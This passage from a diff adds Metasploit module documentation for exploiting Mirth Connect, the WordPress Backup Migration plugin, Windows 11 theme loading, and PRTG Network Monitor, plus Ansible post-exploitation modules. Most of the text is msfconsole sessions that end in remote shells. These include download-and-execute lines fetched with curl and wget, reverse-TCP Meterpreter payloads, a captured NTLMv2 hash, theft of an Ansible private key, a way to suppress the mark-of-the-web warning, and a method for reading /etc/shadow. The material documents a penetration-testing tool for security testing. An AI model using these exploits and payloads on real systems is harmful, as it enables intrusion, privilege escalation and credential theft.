1. Run the application in docker: `docker run --name mirth-connect --rm -d -p 8443:8443 nextgenhealthcare/connect:4.4.0`
|
||||
|
||||
### Setup (Windows)
|
||||
|
||||
1. Download the desired release from the [GitHub page][1]
|
||||
2. Install a Java runtime
|
||||
3. Install Mirth Connect
|
||||
1. Accept all default values for every stage of the installation
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Follow the steps from the Setup section to create a test instance
|
||||
2. Start msfconsole
|
||||
3. Run: `use exploit/multi/http/mirth_connect_cve_2023_43208`
|
||||
4. Set the `RHOSTS`, `PAYLOAD` and payload-related options
|
||||
5. Run the module
|
||||
|
||||
## Options
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Mirth Connect 4.4.0 in Docker
|
||||
|
||||
Note that Python is not available in the docker container, so no Python payloads will work.
|
||||
|
||||
```
|
||||
msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > set RHOSTS 192.168.159.128
|
||||
RHOSTS => 192.168.159.128
|
||||
msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > set TARGET Unix\ Command
|
||||
TARGET => Unix Command
|
||||
msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > set PAYLOAD cmd/linux/http
|
||||
Display all 106 possibilities? (y or n)
|
||||
msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
PAYLOAD => cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > set LHOST 192.168.159.128
|
||||
LHOST => 192.168.159.128
|
||||
msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > set VERBOSE true
|
||||
VERBOSE => true
|
||||
msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > exploit
|
||||
|
||||
[*] Command to run on remote host: curl -so /tmp/PFYkPcUX http://192.168.159.128:8080/jvE_gjDKxuQo86-91TitNQ; chmod +x /tmp/PFYkPcUX; /tmp/PFYkPcUX &
|
||||
[*] Fetch Handler listening on 192.168.159.128:8080
|
||||
[*] HTTP server started
|
||||
[*] Adding resource /jvE_gjDKxuQo86-91TitNQ
|
||||
[*] Started reverse TCP handler on 192.168.159.128:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Detected target version: 4.1.1
|
||||
[+] The target appears to be vulnerable. Version 4.1.1 is affected by CVE-2023-37679.
|
||||
[*] Executing cmd/linux/http/x64/meterpreter/reverse_tcp (Unix Command)
|
||||
[+] The target appears to have executed the payload.
|
||||
[*] Client 192.168.159.128 requested /jvE_gjDKxuQo86-91TitNQ
|
||||
[*] Sending payload to 192.168.159.128 (curl/7.74.0)
|
||||
[*] Transmitting intermediate stager...(126 bytes)
|
||||
[*] Sending stage (3045380 bytes) to 192.168.159.128
|
||||
[*] Meterpreter session 6 opened (192.168.159.128:4444 -> 192.168.159.128:49360) at 2024-01-26 17:11:37 -0500
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: mirth
|
||||
meterpreter > sysinfo
|
||||
Computer : 10.0.2.100
|
||||
OS : Debian 11.4 (Linux 6.6.12-200.fc39.x86_64)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter > pwd
|
||||
/opt/connect
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
### Mirth Connect 4.4.0 on Windows Server 2019
|
||||
|
||||
```
|
||||
msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > set RHOSTS 192.168.159.10
|
||||
RHOSTS => 192.168.159.10
|
||||
msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > set TARGET Windows\ Command
|
||||
TARGET => Windows Command
|
||||
msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > set PAYLOAD cmd/windows/powershell/x64/meterpreter/reverse_tcp
|
||||
PAYLOAD => cmd/windows/powershell/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > set LHOST 192.168.159.128
|
||||
LHOST => 192.168.159.128
|
||||
msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > set VERBOSE true
|
||||
VERBOSE => true
|
||||
msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > run
|
||||
|
||||
[*] Powershell command length: 4418
|
||||
[*] Started reverse TCP handler on 192.168.159.128:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Detected target version: 4.4.0
|
||||
[+] The target appears to be vulnerable. Version 4.4.0 is affected by CVE-2023-43208.
|
||||
[*] Executing cmd/windows/powershell/x64/meterpreter/reverse_tcp (Windows Command)
|
||||
[+] The target appears to have executed the payload.
|
||||
[*] Sending stage (201798 bytes) to 192.168.159.10
|
||||
[*] Meterpreter session 5 opened (192.168.159.128:4444 -> 192.168.159.10:60705) at 2024-01-26 17:10:20 -0500
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: NT AUTHORITY\SYSTEM
|
||||
meterpreter > sysinfo
|
||||
Computer : DC
|
||||
OS : Windows Server 2019 (10.0 Build 17763).
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Domain : MSFLAB
|
||||
Logged On Users : 13
|
||||
Meterpreter : x64/windows
|
||||
meterpreter > pwd
|
||||
C:\Program Files\Mirth Connect
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
[1]: https://github.com/nextgenhealthcare/connect/releases
|
||||
|
||||
@@ -0,0 +1,126 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module exploits an unauth RCE in the WordPress plugin: Backup Migration (<= 1.3.7). The vulnerability is
|
||||
exploitable through the Content-Dir header which is sent to the /wp-content/plugins/backup-backup/includes/backup-heart.php endpoint.
|
||||
|
||||
The vuln makes use of a neat technique called PHP Filter Chaining which allows an attacker to prepend
|
||||
bytes to a string by continuously chaining character encoding conversion. This allows an attacker to prepend
|
||||
a PHP payload to a string which gets evaluated by a require statement, which results in command execution.
|
||||
|
||||
### Setup
|
||||
|
||||
Spin up a Wordpress instance by running `docker-compose up` in the same directory as the `docker-compose.yml` file below:
|
||||
```
|
||||
version: "3"
|
||||
# Defines which compose version to use
|
||||
services:
|
||||
# Services line define which Docker images to run. In this case, it will be MySQL server and WordPress image.
|
||||
db:
|
||||
image: mysql:5.7
|
||||
# image: mysql:5.7 indicates the MySQL database container image from Docker Hub used in this installation.
|
||||
restart: always
|
||||
environment:
|
||||
MYSQL_ROOT_PASSWORD: MyR00tMySQLPa$$5w0rD
|
||||
MYSQL_DATABASE: MyWordPressDatabaseName
|
||||
MYSQL_USER: MyWordPressUser
|
||||
MYSQL_PASSWORD: Pa$$5w0rD
|
||||
# Previous four lines define the main variables needed for the MySQL container to work: database, database username, database user password, and the MySQL root password.
|
||||
wordpress:
|
||||
depends_on:
|
||||
- db
|
||||
image: wordpress:latest
|
||||
restart: always
|
||||
# Restart line controls the restart mode, meaning if the container stops running for any reason, it will restart the process immediately.
|
||||
ports:
|
||||
- "8000:80"
|
||||
# The previous line defines the port that the WordPress container will use. After successful installation, the full path will look like this: http://localhost:8000
|
||||
environment:
|
||||
WORDPRESS_DB_HOST: db:3306
|
||||
WORDPRESS_DB_USER: MyWordPressUser
|
||||
WORDPRESS_DB_PASSWORD: Pa$$5w0rD
|
||||
WORDPRESS_DB_NAME: MyWordPressDatabaseName
|
||||
# Similar to MySQL image variables, the last four lines define the main variables needed for the WordPress container to work properly with the MySQL container.
|
||||
volumes:
|
||||
["./:/var/www/html"]
|
||||
volumes:
|
||||
mysql: {}
|
||||
```
|
||||
|
||||
Download the vulnerable Backup Migration plugin: `https://downloads.wordpress.org/plugin/backup-backup.1.3.7.zip`.
|
||||
Navigate to `http://localhost:8000` and you'll be redirected and asked to setup the WordPress site. This includes
|
||||
setting a username, password, email address for the admin user etc. Once the setup is complete login as the newly created
|
||||
admin user and via the options on the left side of the screen navigate to the `Plugins` and select `Add New`. Upload the
|
||||
`backup-backup.1.3.7.zip` file. You should now see `Backup Migration` in the list of Plugins, select `Activate` on the
|
||||
plugin. You should now have a vulnerable instance running.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
1. Do: `use `
|
||||
1. Set the `RHOST`, `USERNAME`, and `PASSWORD` options
|
||||
1. Run the module
|
||||
1. Receive a Meterpreter session in the context of the user running the WordPress application.
|
||||
|
||||
## Scenarios
|
||||
### Backup Migration Plugin version: 1.3.7 (Containerized WordPress Version 6.0)
|
||||
```
|
||||
msf6 exploit(multi/http/wp_backup_migration_php_filter) > set rhosts 127.0.0.1
|
||||
rhosts => 127.0.0.1
|
||||
msf6 exploit(multi/http/wp_backup_migration_php_filter) > set rport 8000
|
||||
rport => 8000
|
||||
msf6 exploit(multi/http/wp_backup_migration_php_filter) > set lhost 192.168.123.1
|
||||
lhost => 192.168.123.1
|
||||
msf6 exploit(multi/http/wp_backup_migration_php_filter) > options
|
||||
|
||||
Module options (exploit/multi/http/wp_backup_migration_php_filter):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
PAYLOAD_FILENAME ONxu.php yes The filename for the payload to be used on the target host (%RAND%.php by default)
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS 127.0.0.1 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 8000 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
TARGETURI / yes The base path to the wordpress application
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (php/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LHOST 192.168.123.1 yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Automatic
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 exploit(multi/http/wp_backup_migration_php_filter) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.123.1:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] WordPress Version: 6.0
|
||||
[+] Detected Backup Migration Plugin version: 1.3.7
|
||||
[+] The target appears to be vulnerable.
|
||||
[*] Writing the payload to disk, character by character, please wait...
|
||||
[*] Sending stage (39927 bytes) to 192.168.123.1
|
||||
[+] Deleted L
|
||||
[+] Deleted ONxu.php
|
||||
[*] Meterpreter session 3 opened (192.168.123.1:4444 -> 192.168.123.1:56224) at 2024-01-11 12:17:34 -0500
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: www-data
|
||||
meterpreter > sysinfo
|
||||
Computer : 856d06702f34
|
||||
OS : Linux 856d06702f34 6.5.11-linuxkit #1 SMP PREEMPT_DYNAMIC Wed Dec 6 17:14:50 UTC 2023 x86_64
|
||||
Meterpreter : php/linux
|
||||
meterpreter >
|
||||
```
|
||||
@@ -0,0 +1,143 @@
|
||||
## Description
|
||||
|
||||
There exists a time of check to time of use vulnerability in the way Windows 11 loads msstyles files when they are
|
||||
loaded via a theme file. When a user opens a theme which references an msstyles file with a `PACKME_VERSION`
|
||||
of 999, the process will check for the presence of the msstyles file appended with "_vrf.dll". If the file is found,
|
||||
the process will open the file to check for a signature. If the signature is valid, the process closes the file and
|
||||
then loads it. By closing the file after the check and before loading it, we can feed a legitimate signed dll to the
|
||||
check read, and then substitute a malicious dll for the second, resulting in the process loading our dll and executing
|
||||
arbitrary code.
|
||||
|
||||
To control this race condition, we implement a UNC path pointing back to an SMB server we control that uses the type
|
||||
of request issued by the SMB client to dictate the file served to it; we serve a signed Microsoft Binary when the
|
||||
verification takes place, but serve a payload dll when the host attempts to load the file.
|
||||
|
||||
Because the PACKME_VERSION must be 999 and licinsing limits our ability to include a microsoft binary in Metasploit,
|
||||
this module includes a tool to take a normal windows aero.msstyles file and give it the required PACKME_VERSION.
|
||||
As the aero.msstyles file is also a signed binary, we can use it as both the msstyles file and the legitimate signed
|
||||
dll file. This will fail if the msstyles file is already altered for this exploit. For this example, we used the
|
||||
aero file located in `C:\Windows\Resources\Themes\aero\` on a stock Windows 10 x64 installation.
|
||||
|
||||
As a final step, a user may convert the resultant theme file into a themepack file by using the linux command
|
||||
`lcab exploit.theme exploit.themepack`
|
||||
By converting this into a themepack file rather than a theme file, it circumvents the "mark of the web" and will no
|
||||
longer result in a security warning dialog box before opening.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
Windows 11
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. `./msfconsole`
|
||||
2. `set payload windows/x64/meterpreter_reverse_tcp`
|
||||
3. `set LHOST <IP>`
|
||||
4. `set LPORT <PORT>`
|
||||
5. `set STYLE_FILE` <PATH_TO_AERO_FILE>
|
||||
6. `set DisablePayloadhandler false`
|
||||
7. `run`
|
||||
8. [OPTIONAL] Convert the theme file to a themepack file with the Linux command `lcab exploit.theme exploit.themepack`
|
||||
9. Copy theme or themepack file over to target.
|
||||
|
||||
## Options
|
||||
|
||||
### STYLE_FILE
|
||||
|
||||
This file must be a signed msstyles file and serves 2 purposes:
|
||||
1. We adjust this msstyles file to have the required PACKME_VERSION and serve it as part of the exploit.
|
||||
2. As the msstyles file is an executable dll, we also serve it as the legitimate signed file to pass the verification
|
||||
before serving the payload dll. A file of this type is located on Windows 10 hosts under
|
||||
`C:\Windows\Resources\Themes\aero\aero.msstyles`
|
||||
.
|
||||
|
||||
### STYLE_FILE_NAME
|
||||
|
||||
This is the name of the style file added to the theme file we create.
|
||||
|
||||
### THEME_FILE_NAME
|
||||
|
||||
This is the name of the theme file created by the exploit to send to the target host.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Windows 11
|
||||
|
||||
```
|
||||
msf6 > use exploit/windows/fileformat/theme_dll_hijack_cve_2023_38146
|
||||
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(windows/fileformat/theme_dll_hijack_cve_2023_38146) > show options
|
||||
|
||||
Module options (exploit/windows/fileformat/theme_dll_hijack_cve_2023_38146):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
SHARE no Share (Default Random)
|
||||
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the loc
|
||||
al machine or 0.0.0.0 to listen on all addresses.
|
||||
SRVPORT 445 yes The local port to listen on.
|
||||
STYLE_FILE yes The Microsoft-signed .msstyles file (e.g. aero.msstyles).
|
||||
STYLE_FILE_NAME yes The name of the style file to reference.
|
||||
THEME_FILE_NAME exploit.theme yes The name of the theme file to generate.
|
||||
|
||||
|
||||
Payload options (windows/x64/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
|
||||
LHOST 10.5.135.201 yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Windows
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 exploit(windows/fileformat/theme_dll_hijack_cve_2023_38146) > set SRVHOST 10.5.135.201
|
||||
SRVHOST => 10.5.135.201
|
||||
msf6 exploit(windows/fileformat/theme_dll_hijack_cve_2023_38146) > set STYLE_FILE '/home/tmoose/rapid7/metasploit-framework/aero.msstyles'
|
||||
STYLE_FILE => /home/tmoose/rapid7/metasploit-framework/aero.msstyles
|
||||
msf6 exploit(windows/fileformat/theme_dll_hijack_cve_2023_38146) > set STYLE_FILE_NAME aero
|
||||
STYLE_FILE_NAME => aero
|
||||
msf6 exploit(windows/fileformat/theme_dll_hijack_cve_2023_38146) > set verbose true
|
||||
verbose => true
|
||||
msf6 exploit(windows/fileformat/theme_dll_hijack_cve_2023_38146) > run
|
||||
[*] Exploit running as background job 0.
|
||||
[*] Exploit completed, but no session was created.
|
||||
msf6 exploit(windows/fileformat/theme_dll_hijack_cve_2023_38146) >
|
||||
[*] Started reverse TCP handler on 10.5.135.201:4444
|
||||
[*] Server is running. Listening on 10.5.135.201:445
|
||||
[*] Server started.
|
||||
[+] exploit.theme stored at /home/tmoose/.msf4/local/exploit.theme
|
||||
[*] Received SMB connection from 10.5.132.136
|
||||
[SMB] NTLMv2-SSP Client : 10.5.132.136
|
||||
[SMB] NTLMv2-SSP Username : .\msfuser
|
||||
[SMB] NTLMv2-SSP Hash : msfuser::.:571cefb4150fb5f1:059699f9eee7e044d95167c03c58c6b4:010100000000000000326d46a633da013654631d1e8ef262000000000200120057004f0052004b00470052004f00550050000100120057004f0052004b00470052004f00550050000400120057004f0052004b00470052004f00550050000300120057004f0052004b00470052004f00550050000700080000326d46a633da0106000400020000000800300030000000000000000100000000200000fe746065d66cc1efc7756d546af110124dd7d6b60126a5edff7b41cce14019d90a001000000000000000000000000000000000000900220063006900660073002f00310030002e0035002e003100330035002e003200300031000000000000000000
|
||||
|
||||
[*] Sending file to 10.5.132.136
|
||||
[*] Sending stage (200774 bytes) to 10.5.132.136
|
||||
[*] Server stopped.
|
||||
[*] Meterpreter session 1 opened (10.5.135.201:4444 -> 10.5.132.136:50003) at 2023-12-20 18:40:25 -0600
|
||||
|
||||
msf6 exploit(windows/fileformat/theme_dll_hijack_cve_2023_38146) > sessions -i -1
|
||||
[*] Starting interaction with 1...
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : DESKTOP-7M0LC28
|
||||
OS : Windows 11 (10.0 Build 22000).
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Domain : WORKGROUP
|
||||
Logged On Users : 2
|
||||
Meterpreter : x64/windows
|
||||
meterpreter > getuid
|
||||
Server username: DESKTOP-7M0LC28\msfuser
|
||||
meterpreter >
|
||||
|
||||
```
|
||||
@@ -0,0 +1,124 @@
|
||||
## Vulnerable Application
|
||||
|
||||
**Vulnerability Description**
|
||||
|
||||
This module exploits a command line parameter injection vulnerability in PRTG Network Monitor (CVE-2023-32781).
|
||||
|
||||
An authenticated attacker can create a HL7Sensor which can be ran with a parameter injection. This will allow the attacker to specify the `-debug` parameter which will allow a arbitrary file write on the system in the context of the user `SYSTEM`.
|
||||
|
||||
The module uses provided credentials to log in to the web interface, and then creates the HL7Sensor, together with an EXE/Script sensor which runs the payload. Furthermore it cleans up the sensor creation after succesful exploitation.
|
||||
|
||||
This vulnerability affects versions <= 23.2.83.1760
|
||||
|
||||
**Vulnerable Application Installation**
|
||||
|
||||
PRTG provides a trial version for free (https://www.paessler.com/prtg/download) but it is always updated to the latest version, which won't allow you to test for the vulnerability.
|
||||
|
||||
**Successfully tested on**
|
||||
|
||||
- PRTG Network Monitor 23.2.83.1760 on Windows 10
|
||||
|
||||
## Verification Steps
|
||||
1. Install the application
|
||||
1. Start `msfconsole` and run the following:
|
||||
|
||||
```
|
||||
use exploit/windows/http/prtg_authenticated_rce_cve_2023_32781
|
||||
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
|
||||
msf6 exploit(windows/http/prtg_authenticated_rce_cve_2023_32781) > set RHOSTS 127.0.0.1
|
||||
RHOSTS => 127.0.0.1
|
||||
msf6 exploit(windows/http/prtg_authenticated_rce_cve_2023_32781) > set RPORT 13380
|
||||
RPORT => 13380
|
||||
msf6 exploit(windows/http/prtg_authenticated_rce_cve_2023_32781) > set SRVHOST 192.168.56.1
|
||||
SRVHOST => 192.168.56.1
|
||||
msf6 exploit(windows/http/prtg_authenticated_rce_cve_2023_32781) > set SRVPORT 10106
|
||||
SRVPORT => 10106
|
||||
msf6 exploit(windows/http/prtg_authenticated_rce_cve_2023_32781) > set LPORT 4446
|
||||
LPORT => 4445
|
||||
msf6 exploit(windows/http/prtg_authenticated_rce_cve_2023_32781) > set LHOST 192.168.56.1
|
||||
msf6 exploit(windows/http/prtg_authenticated_rce_cve_2023_32781) > exploit
|
||||
```
|
||||
|
||||
`RHOSTS` refers to the PRTG host
|
||||
`RPORT` refers to the PRTG port
|
||||
`SRVHOST` refers to the host where metasploit will serve the second stage payload. This has to be reachable by `PRTG`
|
||||
`SRVPORT` refers to the port where metasploit will serve the second stage payload. This has to be reachable by `PRTG`
|
||||
`LPORT` refers to the payload connect port back which in this instance is meterpreter
|
||||
`LHOST` refers to the payload connect host back which in this instance is meterpreter
|
||||
|
||||
After running this you should have a meterpreter instance
|
||||
|
||||
|
||||
## Options
|
||||
**USERNAME**
|
||||
|
||||
PRTG Network Monitor's account that has the right to create Sensors (allowed by default on the initial account).
|
||||
|
||||
**PASSWORD**
|
||||
|
||||
The password associated with the specified username.
|
||||
|
||||
|
||||
## Scenarios
|
||||
|
||||
Running the payload and getting a meterpreter session and then spawning a shell as `nt authority\system`
|
||||
|
||||
```bash
|
||||
msf6 > use exploit/development/cve_2023_32781
|
||||
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
|
||||
msf6 exploit(development/cve_2023_32781) > set RHOSTS 127.0.0.1
|
||||
RHOSTS => 127.0.0.1
|
||||
msf6 exploit(development/cve_2023_32781) > set RPORT 13380
|
||||
RPORT => 13380
|
||||
msf6 exploit(development/cve_2023_32781) > set SRVHOST 192.168.56.1
|
||||
SRVHOST => 192.168.56.1
|
||||
msf6 exploit(development/cve_2023_32781) > set SRVPORT 10106
|
||||
SRVPORT => 10106
|
||||
msf6 exploit(development/cve_2023_32781) > set LPORT 4446
|
||||
LPORT => 4445
|
||||
msf6 exploit(development/cve_2023_32781) > set LHOST 192.168.56.1
|
||||
msf6 exploit(development/cve_2023_32781) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.56.1:4446
|
||||
[*] Using URL: http://192.168.56.1:10105/sF321hmEZCz
|
||||
[*] Running PRTG RCE exploit
|
||||
[+] Successfully authenticated against PRTG
|
||||
[*] Writing .bat to disk
|
||||
[*] Extracted csrf token: OWVlYTZkYzQwYmEwNDlkZmQ5ZGJiZDQ2OWVkYWU3YTEwZjYxODE4MzM2Y2U4ZGVmZGY1OTFlNzEwOWIxNDMwMA==
|
||||
[*] Generated sensor_name Wg83qiZvO
|
||||
[*] Generated bat_file_name rjKu8O2Pt.bat
|
||||
[+] HL7 Sensor succesfully created
|
||||
[*] Sleeping 5 seconds to wait for sensor creation
|
||||
[*] Fetching created sensor id
|
||||
[*] Extracted sensor_id: 2095
|
||||
[*] Requesting HL7 Sensor to initiate scan
|
||||
[*] Extracted csrf token: OWVlYTZkYzQwYmEwNDlkZmQ5ZGJiZDQ2OWVkYWU3YTEwZjYxODE4MzM2Y2U4ZGVmZGY1OTFlNzEwOWIxNDMwMA==
|
||||
[+] Sensor started running
|
||||
[+] .bat file written to disk
|
||||
[*] Running the .bat file: rjKu8O2Pt.bat
|
||||
[*] Extracted csrf token: OWVlYTZkYzQwYmEwNDlkZmQ5ZGJiZDQ2OWVkYWU3YTEwZjYxODE4MzM2Y2U4ZGVmZGY1OTFlNzEwOWIxNDMwMA==
|
||||
[*] EXE Script sensor created
|
||||
[*] Sleeping 5 seconds to wait for sensor creation
|
||||
[*] Fetching created sensor id
|
||||
[*] Extracted sensor_id: 2096
|
||||
[*] Extracted csrf token: OWVlYTZkYzQwYmEwNDlkZmQ5ZGJiZDQ2OWVkYWU3YTEwZjYxODE4MzM2Y2U4ZGVmZGY1OTFlNzEwOWIxNDMwMA==
|
||||
[+] Sensor started running
|
||||
[+] Exploit completed. Waiting for payload
|
||||
[*] Exploit done
|
||||
[*] Command Stager progress - 100.00% done (150/150 bytes)
|
||||
[*] Client 192.168.56.1 (Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.22621.2428) requested /sF321hmEZCz
|
||||
[*] Sending payload to 192.168.56.1 (Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.22621.2428)
|
||||
[*] Sending stage (175686 bytes) to 192.168.56.1
|
||||
[*] Meterpreter session 1 opened (192.168.56.1:4446 -> 192.168.56.1:43926) at 2023-11-23 17:06:34 +0000
|
||||
[*] Server stopped.
|
||||
|
||||
meterpreter > shell
|
||||
Process 4280 created.
|
||||
Channel 1 created.
|
||||
Microsoft Windows [Version 10.0.22621.2428]
|
||||
(c) Microsoft Corporation. All rights reserved.
|
||||
|
||||
C:\Windows\System32>whoami
|
||||
whoami
|
||||
nt authority\system
|
||||
```
|
||||
@@ -0,0 +1,111 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module will grab ansible information including hosts, ping status, and the configuration file.
|
||||
|
||||
### Docker-compose Install
|
||||
|
||||
Use the ansible lab files located [here](https://github.com/abdennour/ansible-lab-environment-in-containers).
|
||||
|
||||
Before bringing up the `docker-compose` instance, you'll want to generate an SSH key: `ssh-keygen -t rsa -N "" -f secrets/id_rsa`
|
||||
|
||||
Of note, only 1 of the 3 alpine hosts will be successful due to the port conflict. This is fine though.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
1. Start msfconsole
|
||||
1. Get an initial shell on the box
|
||||
1. Do: `use post/linux/gather/ansible`
|
||||
1. Do: `set session [#]`
|
||||
1. Do: `run`
|
||||
1. You should get information about the ansible install and host.
|
||||
|
||||
## Options
|
||||
|
||||
### ANSIBLE
|
||||
|
||||
Location of ansible executable if not in a standard location. This is added to a list of default locations
|
||||
which includes `/usr/local/bin/ansible`. Defaults to ``
|
||||
|
||||
### ANSIBLEINVENTORY
|
||||
|
||||
Location of ansible-inventory executable if not in a standard location. This is added to a list of default locations
|
||||
which includes `/usr/local/bin/ansible-inventory`. Defaults to ``
|
||||
|
||||
### ANSIBLECFG
|
||||
|
||||
Location of ansible-inventory executable if not in a standard location. This is added to a list of default locations
|
||||
which includes `/etc/ansible/ansible.cfg`. Defaults to ``
|
||||
|
||||
### HOSTS
|
||||
|
||||
Which Ansible host (groups) to target. Defaults to `all`
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Docker compose as mentioned above
|
||||
|
||||
Get initial access to the system
|
||||
|
||||
```
|
||||
resource (ansible.rb)> use exploit/multi/script/web_delivery
|
||||
[*] Using configured payload python/meterpreter/reverse_tcp
|
||||
resource (ansible.rb)> set lhost 1.1.1.1
|
||||
lhost => 1.1.1.1
|
||||
resource (ansible.rb)> set srvport 8181
|
||||
srvport => 8181
|
||||
resource (ansible.rb)> set target 7
|
||||
target => 7
|
||||
resource (ansible.rb)> set payload payload/linux/x64/meterpreter/reverse_tcp
|
||||
payload => linux/x64/meterpreter/reverse_tcp
|
||||
resource (ansible.rb)> run
|
||||
[*] Exploit running as background job 0.
|
||||
[*] Exploit completed, but no session was created.
|
||||
[*] Started reverse TCP handler on 1.1.1.1:4444
|
||||
[*] Using URL: http://1.1.1.1:8181/qsmOaSn61Y
|
||||
[*] Server started.
|
||||
[*] Run the following command on the target machine:
|
||||
wget -qO D418BdOM --no-check-certificate http://1.1.1.1:8181/qsmOaSn61Y; chmod +x D418BdOM; ./D418BdOM& disown
|
||||
[*] Starting persistent handler(s)...
|
||||
[*] Sending stage (3045380 bytes) to 172.28.0.3
|
||||
[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 172.28.0.3:52506) at 2023-12-13 12:32:03 -0500
|
||||
```
|
||||
|
||||
|
||||
```
|
||||
resource (ansible.rb)> use post/linux/gather/ansible
|
||||
resource (ansible.rb)> set ANSIBLECFG /playbook/ansible.cfg
|
||||
ANSIBLECFG => /playbook/ansible.cfg
|
||||
resource (ansible.rb)> set session 1
|
||||
session => 1
|
||||
resource (ansible.rb)> set verbose true
|
||||
verbose => true
|
||||
[msf](Jobs:1 Agents:2) post(linux/gather/ansible) > run
|
||||
|
||||
[+] Stored inventory to: /root/.msf4/loot/20231213123519_default_172.28.0.3_ansible.inventor_801476.json
|
||||
[+] Ansible Hosts
|
||||
=============
|
||||
|
||||
Host Connection
|
||||
---- ----------
|
||||
alpine-example-com ssh
|
||||
alpinesystemd-example-com docker
|
||||
centos7-example-com docker
|
||||
rhel8-example-com docker
|
||||
|
||||
[+] Stored pings to: /root/.msf4/loot/20231213123529_default_172.28.0.3_ansible.ping_007951.txt
|
||||
[+] Ansible Pings
|
||||
=============
|
||||
|
||||
Host Status Ping Changed
|
||||
---- ------ ---- -------
|
||||
alpine-example-com SUCCESS pong false
|
||||
alpinesystemd-example-com SUCCESS pong false
|
||||
centos7-example-com SUCCESS pong false
|
||||
rhel8-example-com SUCCESS pong false
|
||||
|
||||
[+] Stored config to: /root/.msf4/loot/20231213123530_default_172.28.0.3_ansible.cfg_563982.txt
|
||||
[+] Private key file location: /secrets/id_rsa
|
||||
[+] Stored private key file to: /root/.msf4/loot/20231213123530_default_172.28.0.3_ansible.private._084820.txt
|
||||
[*] Post module execution completed
|
||||
```
|
||||
+109
@@ -0,0 +1,109 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module will read the first line of a file based on an error message from ansible-playbook with sudo privileges.
|
||||
ansible-playbook takes a yaml file as input, and if there is an error, such as a non-yaml file, it outputs the line
|
||||
where the error occurs. This can be exploited to read the first line of the file, which we'll typically want to read
|
||||
/etc/shadow to obtain root's hash.
|
||||
|
||||
### Docker-compose Install
|
||||
|
||||
Use the ansible lab files located [here](https://github.com/abdennour/ansible-lab-environment-in-containers).
|
||||
|
||||
Before bringing up the `docker-compose` instance, you'll want to generate an SSH key: `ssh-keygen -t rsa -N "" -f secrets/id_rsa`
|
||||
|
||||
Of note, only 1 of the 3 alpine hosts will be successful due to the port conflict. This is fine though.
|
||||
|
||||
Next you'll need to add a user:
|
||||
|
||||
```
|
||||
docker exec -it ansible-lab-environment-in-containers_controlnode_1 /bin/sh
|
||||
